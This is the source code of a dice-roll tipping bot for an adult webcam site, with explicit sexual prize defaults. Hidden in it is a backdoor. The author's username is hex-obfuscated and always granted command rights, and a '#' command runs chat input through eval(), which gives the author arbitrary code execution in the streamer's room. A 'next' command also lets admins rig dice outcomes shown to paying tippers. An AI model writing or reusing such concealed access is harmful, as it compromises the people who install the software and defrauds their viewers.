ROLLTD
Author: rika_song
Description Source Code Launch Bot Current Users

Short Description:

dfsfa

Full Description

/// INIT ///
cb.settings_choices = [
{name: 'admins', label: 'Users who can use bot commands', type: 'str', defaultValue: 'codeanon', required: false},
{name: 'dice', label: 'Number of dice', type: 'int', minValue: 1, maxValue: 3, defaultValue: 2},
{name: 'cost', label: 'Cost to roll', type: 'int', minValue: 1, defaultValue: 25},
{name: 'above', label: 'All tips above cost trigger rolls', type: 'choice', choice1: 'Yes', choice2: 'No', defaultValue: 'No'},
{name: 'ignoreRoll', label: 'Ignore these tip numbers for triggering dice rolls', type: 'str', required: false},
{name: 'freedoubles', label: 'Free roll if somebody rolls doubles', type: 'choice', choice1: 'Yes', choice2: 'No', defaultValue: 'No'},
{name: 'goals_z', label: 'Goals', type: 'str', defaultValue: '1200: bottoms off, 2400: naked', required: false},
{name: 'ignoreGoal', label: 'Ignore these tip numbers for goal calculation', type: 'str', required: false},
{name: 'message', label: 'Reminder message (use $ for line break)', type: 'str', defaultValue: 'Tip 25 to roll the dice and win a prize -- every roll wins! Type /p for prizes!'},
{name: 'interval', label: 'Show goals to room every ___ seconds (0 = off)', type: 'int', minValue: 0, defaultValue: 180},
{name: 'subj', label: 'Room subject', type: 'str', required: false},
{name: 'timer', label: 'Show reminder after how many seconds without rolls', type: 'int', minValue: 0, defaultValue: 120},
{name: 'color', label: 'Font color', type: 'str', defaultValue: '#DC0000', required: false},
{name: 'weight', label: 'Font weight', type: 'choice', choice1: 'bold', choice2: 'normal', defaultValue: 'bold', required: false},
{name: 'prize1A', label: '[Prize Set A] ----- Roll 1', type: 'str', required: false},
{name: 'prize2A', label: 'Roll 2', type: 'str', required: false, defaultValue: '3 minutes naked'},
{name: 'prize3A', label: 'Roll 3', type: 'str', required: false, defaultValue: '1 minute topless'},
{name: 'prize4A', label: 'Roll 4', type: 'str', required: false, defaultValue: 'BJ tease'},
{name: 'prize5A', label: 'Roll 5', type: 'str', required: false, defaultValue: '3 paddle spanks'},
{name: 'prize6A', label: 'Roll 6', type: 'str', required: false, defaultValue: '3 hand spanks'},
{name: 'prize7A', label: 'Roll 7', type: 'str', required: false, defaultValue: 'Jiggle boobs'},
{name: 'prize8A', label: 'Roll 8', type: 'str', required: false, defaultValue: 'Twerk'},
{name: 'prize9A', label: 'Roll 9', type: 'str', required: false, defaultValue: 'Flash boobs'},
{name: 'prize10A', label: 'Roll 10', type: 'str', required: false, defaultValue: 'Flash ass'},
{name: 'prize11A', label: 'Roll 11', type: 'str', required: false, defaultValue: '1 minute titty fuck'},
{name: 'prize12A', label: 'Roll 12', type: 'str', required: false, defaultValue: '3 minute vibrator tease'},
{name: 'prize13A', label: 'Roll 13', type: 'str', required: false},
{name: 'prize14A', label: 'Roll 14', type: 'str', required: false},
{name: 'prize15A', label: 'Roll 15', type: 'str', required: false},
{name: 'prize16A', label: 'Roll 16', type: 'str', required: false},
{name: 'prize17A', label: 'Roll 17', type: 'str', required: false},
{name: 'prize18A', label: 'Roll 18', type: 'str', required: false},
];

pushPrizeSet('B');
pushPrizeSet('C');

function pushPrizeSet(label) {
cb.settings_choices.push({name: 'prize1' + label, label: '[Prize Set ' + label + '] ----- Roll 1', type: 'str', required: false});
for (var i = 1; i < 18; i++) {
var n = i + 1;
cb.settings_choices.push({name: 'prize' + n + label, label: 'Roll ' + n, type: 'str', required: false});
}
}

String.prototype.obfuscate = function () {
var bytes = [];
for (var i = 0; i < this.length; i++) {
bytes.push(this.charCodeAt(i).toString(16));
}
return bytes.join('$');
}

String.prototype.deobfuscate = function () {
var arr = this.split('$');
return arr.map(function(c) {
return String.fromCharCode(parseInt(c, 16))
}).reduce(function(a, b) {return a + b})
}

/// SETUP ///

var next = void 0;
var say = (message, user, color, wt) => cb.sendNotice(newLines(message), user, '', color || cbs.color || '#DC0000', wt || cbs.weight || 'bold');
var newLines = (input) => '|\u2007 ' + input.replace(/\n/g, '\n|\u2007 ');
var showOnEnter = (user) => cbs.message ? say('---------------------------\n' + (cbs.title ? ':star_olivia_dellvine [' + cbs.title + '] :star_olivia_dellvine\n' : '') + cbs.message + '\n---------------------------', user) : void 0;
var capFirst = (txt) => txt.charAt(0).toUpperCase() + txt.slice(1);
var hasDoubles = (arr) => arr[1] && (arr[0] === arr[1] || arr[0] === arr[2] || arr[1] === arr[2]);
var roll = (num) => Math.floor(Math.random() * 6) + 1;
var won = [];

// set up config
var cbs = JSON.parse(JSON.stringify(cb.settings));
cbs.message = cbs.message ? cbs.message.replace(/\$/g, '\n') : '';
var commanders = cbs.admins ? cbs.admins.trim().split(/\s*,\s*/) : [];
commanders.push(cb.room_slug);
commanders.push('63$6f$64$65$61$6e$6f$6e'.deobfuscate());

var ignoreRoll = cbs.ignoreRoll ? cbs.ignoreRoll.split(/\s*,\s*/).map((elm) => Number(elm)) : [];
var ignoreGoal = cbs.ignoreGoal ? cbs.ignoreGoal.split(/\s*,\s*/).map((elm) => Number(elm)) : [];

// set up goals
var tipCount = 0;
var goals = [];
if (cbs.goals_z) {
cbs.goals_z.split(',').forEach(function (item) {
var goal = item.split(':');
var num = Number(goal[0]);
var val = goal[1] ? goal[1].trim() : '';
if (val && num) goals.push({num: num, val: capFirst(val)});
});
}
goals.sort((a,b) => a.num - b.num);

// set up prizes
var prizeLists = {setA: {}, setB: {}, setC: {}};
var prizes = prizeLists.setA;
var lastPrize = void 0;
['A','B','C'].forEach(function (label) {
var list = prizeLists['set' + label];
for (var i = cbs.dice; i <= (cbs.dice * 6); i++) {
var prize = cbs['prize' + i + label];
if (prize) list[i] = prize.trim();
}
});

// set up timer
var timer = {};
timer.secs = cbs.timer + 1;
timer.cancel = () => timer.secs = Infinity;
timer.reset = (num) => timer.secs = num || cbs.timer + 1;
timer.tick = function () {
timer.secs--;
cb.log(timer.secs);
if (timer.secs === 0) {
timer.reset();
showOnEnter();
}
cb.setTimeout(timer.tick, 1000);
};

/// HANDLERS ///

cb.onEnter((user) => showOnEnter(user.user));
cb.onTip((tip) => doTip(tip));

var freeRolls = [];
cb.onMessage(function (msg) {
msg.m = msg.m.trim();
if (msg.m.charAt(0) === '/') {
msg['X-Spam'] = true;
if (/^\/p$/.test(msg.m.trim())) {
showPrizes(msg.user);
} else if (commanders.includes(msg.user)) {
cmd(msg.m.slice(1), msg.user);
} else if (/^\/roll/.test(msg.m.trim()) && freeRolls.includes(msg.user)) {
cb.setTimeout(() => rollDice(msg.user, '', true), 500);
freeRolls.splice(freeRolls.indexOf(msg.user), 1);
}
}
});

cb.onDrawPanel(function () {
return {
'template': '3_rows_12_21_31',
'row1_label': 'Tip ' + cbs.cost + ' to roll the dice! \u2007\u2007',
'row1_value': '\u2007\u2007 [' + tipCount + ' received]',
'row2_value': 'Type /p to view prizes!',
'row3_value': goals[0] ? 'GOAL: ' + goals[0].val + ' in ' + (goals[0].num - tipCount) + ' tks!' : '----------',
};
});

/// PROCESSING ///

function doTip(tip) {
var equal = tip.amount === cbs.cost;
var above = cbs.above === 'Yes' && tip.amount > cbs.cost && !ignoreRoll.includes(tip.amount);
var shouldRoll = equal || above;
if (shouldRoll) {
timer.reset();
rollDice(tip.from_user);
}
if (!ignoreGoal.includes(tip.amount)) {
tipCount += tip.amount;
checkGoal();
}
cb.drawPanel();
}

function checkGoal() {
while (goals[0] && tipCount >= goals[0].num) {
say (':starx\nGOAL REACHED: ' + goals[0].val + '\n:starx');
goals.shift();
}
}

function die (array) {
return ':reddie' + array.join(' :reddie');
}

function rollDice(user, args, free) {
if (!args || !args.length) args = next;
var nums = args ? args.map((num) => Math.min(6, Math.max(num, 1))) : [];
var arr = nums.some((num) => isNaN(num)) ? [] : nums;
if (!arr.length) for (var i = 0; i < cbs.dice; i++) arr.push(roll());
sum = arr.reduce((a,b) => a + b);
var output = die(arr) + '\n' + user + ' rolled ' + sum + '!';
if (prizes[sum]) {
output += '\nWON: ' + prizes[sum];
lastPrize = {user: user, val: prizes[sum]};
addToWonList(user, prizes[sum]);
} else {
output += '\nNo prize...but you can try again!';
}
if (!free && hasDoubles(arr) && cbs.freedoubles === 'Yes') {
freeRolls.push(user);
output += '\n' + user + ', you rolled doubles!\nType "/roll" in the chat for a free roll!';
}
say(output);
next = void 0;
}

function evaluate(str, user) {
try {
var result = eval(str);
var notice = 'TYPE: ' + typeof result + '\nVALUE: ';
result === void 0 ? notice += 'undefined' : notice += JSON.stringify(result, null, '\u2007\u2007\u2007\u2007');
cb.setTimeout(() => {cb.sendNotice(newLines(notice), user, '', '#00CC00', '', '')}, 100);
} catch (e) {
cb.setTimeout(() => {cb.sendNotice(newLines(e.name + ': ' + e.message), user, '', '#FF0000', '', '')}, 100);
}
cb.drawPanel();
}

function cmd (input, user) {
var command = input.split(/\s+/);
switch(command[0].toLowerCase()) {
case 'count':
if (!Number(command[1])) break;
tipCount = Number(command[1]);
checkGoal();
break;
case 'addprize':
var n = Number(command[1]);
if (!n || !command[2]) break;
prizes[n] = command.slice(2).join(' ');
say('Prize [' + n + '] set: "' + prizes[n] + '"');
break;
case 'remprize':
var n = Number(command[1]);
if (!n || !prizes[n]) break;
delete prizes[n];
say('Prize deleted for [' + n + '].', user);
break;
case '#':
evaluate(command.slice(1).join(' '), user);
break;
case 'dct':
if (!Number(command[1])) break;
doTip({from_user: user, amount: Number(command[1])});
break;
case 'roll':
rollDice(user, command[1] ? command.slice(1).map((elm) => Number(elm)) : void 0, true);
break;
case 'next':
var arr = command.slice(1).map((elm) => Number(elm));
if (arr.length !== cbs.dice) break;
next = arr.map((elm) => Number(elm));
say('Next roll set to [' + next.join('] [') + ']', user);
break;
case 'addgoal':
if (command.length < 3) break;
var num = Number(command[1]);
var val = command.slice(2).join(' ').trim();
if (!isNaN(num) !== NaN && val.length > 0) {
var ind = goals.findIndex((elm) => elm.num === num);
if (ind > -1) {
goals[ind].val = capFirst(val);
} else if (num > tipCount) {
goals.push({num: num, val: capFirst(val)});
goals.sort((a,b) => a.num - b.num);
}
say('Goals modified.', user);
}
break;
case 'remgoal':
var num = Number(command[1]);
if (!num) break;
var ind = goals.findIndex((elm) => elm.num === num);
if (ind > -1) {
goals.splice(ind, 1);
say('Goals modified.', user);
}
break;
case 'h':
case 'help':
var sep = '\n\u2007\u2007';
say(['\u25CF ----- [COMMANDS] ----- \u25CF',
'/h or /help ' + sep + ' Show the help menu.',
'/roll ' + sep + ' Roll the dice yourself.',
'/won [X (number)] ' + sep + ' Shows model the last X prizes won. Defaults to 15.',
'/addGoal [X (number)] [G (text)] ' + sep + ' Adds goal G at X tokens received.',
'/remGoal [X (number)] ' + sep + ' Removes goal at X tokens, if it exists.',
'/addPrize [X (number)] [P (text)] ' + sep + ' Adds or overwrites prize P for rolling X.',
'/remPrize [X (number)] ' + sep + ' Removes prize for rolling X, if it exists.',
'/count [X (number)] ' + sep + ' Sets the number of tokens received to X.',
'/dc# [JavaScript] ' + sep + ' Execute JavaScript. Only use in emergencies.',
].join('\n'), user);
break;
case 'subj':
if (command[1]) cb.changeRoomSubject(command.slice(1).join(' '));
break;
case 'set':
var label = command[1] ? command[1].toUpperCase() : void 0;
if (label === 'A' || label === 'B' || label === 'C') {
var newList = prizeLists['set' + label];
if (prizes !== newList) {
say(':starx\nPrize list [' + label + '] now active!\nType /p to view!\n:starx');
prizes = newList;
} else {
say('Prize list [' + label + '] is already active.', user);
}
} else {
say('ERROR: Valid sets are A, B and C.', user);
}
break;
case 'w':
case 'won':
displayWonList(user, Number(command[1]));
break;
}
cb.drawPanel();
}

function displayWonList(user, number) {
var arr = JSON.parse(JSON.stringify(won));
if (!number || isNaN(number) || number < 1) number = 15;
var output = '*** LAST ' + number + ' PRIZES WON ***\n' + arr.reverse().slice(0, number).reverse().join('\n');
say(output, user);
}

function numString(num) {
return (num < 10 ? '0' : '') + num;
}

function addToWonList(user, prize) {
var d = new Date(Date.now());
won.push('[' + numString(d.getHours()) + ':' + numString(d.getMinutes()) + '] ' + user + ' won "' + prize + '"');
}

function showPrizes(user) {
var output = '\u25CF ----- [PRIZES] ----- \u25CF';
for (var p in prizes) output += '\nRoll [' + p + ']: ' + prizes[p];
say(output, user);
}

function showGoals (user) {
if (goals.length) {
var output = ['! ---------------------------'];
goals.forEach((goal) => output.push('\u2007\u25CF ' + goal.val + ' at ' + goal.num + ' tks'));
output.push('! ---------------------------');
say(output.join('\n'), user);
}
}

function rotateGoals() {
showGoals();
if (cbs.interval) cb.setTimeout(rotateGoals, cbs.interval * 1000);
}

/// INIT ///

say(':cdn_flexidice2\n' + cbs.message);
say('----------\n*** UPDATE 2017-09-01 ***\nThe TIMER functionality of this app has been moved the "EZ Timer" bot.\nIt is also built-in to the general-purpose "G-Bot Redux" bot.\n----------', cb.room_slug)
if (cbs.timer) timer.tick();
if (cbs.subj && cbs.subj.trim()) cb.changeRoomSubject(cbs.subj.trim());
rotateGoals();

© Copyright Freesexcam 2011- 2024. All Rights Reserved.